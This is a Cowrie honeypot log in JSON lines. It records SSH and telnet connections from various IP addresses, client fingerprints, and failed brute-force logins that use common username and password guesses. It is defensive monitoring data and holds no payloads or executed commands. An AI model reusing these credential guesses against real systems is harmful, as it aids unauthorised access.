{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:38.875631Z","src_ip":"159.203.92.129","session":"bc7b0b4e9838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Test","password":"Test@2023","message":"login attempt [Test/Test@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:38.888378Z","src_ip":"159.203.92.129","session":"bc7b0b4e9838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:39.895576Z","src_ip":"159.203.92.129","session":"bc7b0b4e9838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":57180,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f158c5e63eb","protocol":"ssh","message":"New connection: 210.183.21.53:57180 (10.17.0.5:22) [session: 1f158c5e63eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:50.274712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:50.278337Z","src_ip":"210.183.21.53","session":"1f158c5e63eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:50.475249Z","src_ip":"210.183.21.53","session":"1f158c5e63eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasd123456","message":"login attempt [root/qweasd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:51.294192Z","src_ip":"210.183.21.53","session":"1f158c5e63eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:52.493727Z","src_ip":"210.183.21.53","session":"1f158c5e63eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42752,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b4d877e118","protocol":"ssh","message":"New connection: 80.94.92.186:42752 (159.203.135.109:22) [session: b0b4d877e118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:03.611411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:03.640848Z","src_ip":"80.94.92.186","session":"b0b4d877e118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:03.767516Z","src_ip":"80.94.92.186","session":"b0b4d877e118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Password123","message":"login attempt [solana/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:04.954224Z","src_ip":"80.94.92.186","session":"b0b4d877e118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":1787,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1b5f3fa7b21","protocol":"ssh","message":"New connection: 201.149.53.243:1787 (10.17.0.5:22) [session: f1b5f3fa7b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:06.080507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:06.085636Z","src_ip":"201.149.53.243","session":"f1b5f3fa7b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:06.093750Z","src_ip":"80.94.92.186","session":"b0b4d877e118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:06.155060Z","src_ip":"201.149.53.243","session":"f1b5f3fa7b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git1","password":"123456","message":"login attempt [git1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:06.456009Z","src_ip":"201.149.53.243","session":"f1b5f3fa7b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:07.527954Z","src_ip":"201.149.53.243","session":"f1b5f3fa7b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54434,"dst_ip":"159.203.135.109","dst_port":22,"session":"2978aa4e0161","protocol":"ssh","message":"New connection: 159.203.92.129:54434 (159.203.135.109:22) [session: 2978aa4e0161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:23.369162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:23.379312Z","src_ip":"159.203.92.129","session":"2978aa4e0161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:23.385556Z","src_ip":"159.203.92.129","session":"2978aa4e0161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TianhengZhao","password":"123","message":"login attempt [TianhengZhao/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:23.399580Z","src_ip":"159.203.92.129","session":"2978aa4e0161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:24.407545Z","src_ip":"159.203.92.129","session":"2978aa4e0161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00452470779419,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:57.526633Z","src_ip":"200.39.56.4","session":"a9050451d196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":46152,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c211661833","protocol":"ssh","message":"New connection: 210.183.21.53:46152 (10.17.0.5:22) [session: d3c211661833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:59.318416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:59.325807Z","src_ip":"210.183.21.53","session":"d3c211661833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:11:59.532566Z","src_ip":"210.183.21.53","session":"d3c211661833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123456","message":"login attempt [root/qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:00.392256Z","src_ip":"210.183.21.53","session":"d3c211661833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":4815,"dst_ip":"10.17.0.5","dst_port":22,"session":"14c163c40e32","protocol":"ssh","message":"New connection: 201.149.53.243:4815 (10.17.0.5:22) [session: 14c163c40e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:01.399444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:01.405062Z","src_ip":"201.149.53.243","session":"14c163c40e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:01.470984Z","src_ip":"201.149.53.243","session":"14c163c40e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:01.603560Z","src_ip":"210.183.21.53","session":"d3c211661833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"palosanto","message":"login attempt [admin/palosanto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:01.759460Z","src_ip":"201.149.53.243","session":"14c163c40e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":33102,"dst_ip":"10.17.0.5","dst_port":22,"session":"172e0861f1df","protocol":"ssh","message":"New connection: 196.189.51.7:33102 (10.17.0.5:22) [session: 172e0861f1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:02.007262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:02.012839Z","src_ip":"196.189.51.7","session":"172e0861f1df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:02.180636Z","src_ip":"196.189.51.7","session":"172e0861f1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:02.826101Z","src_ip":"201.149.53.243","session":"14c163c40e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"1","message":"login attempt [vbox/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:02.889834Z","src_ip":"196.189.51.7","session":"172e0861f1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:04.059522Z","src_ip":"196.189.51.7","session":"172e0861f1df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35672,"dst_ip":"159.203.135.109","dst_port":22,"session":"98820151e410","protocol":"ssh","message":"New connection: 159.203.92.129:35672 (159.203.135.109:22) [session: 98820151e410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:07.866149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:12:07.870798Z","src_ip":"159.203.92.129","session":"98820151e410","protocol":"ssh"}
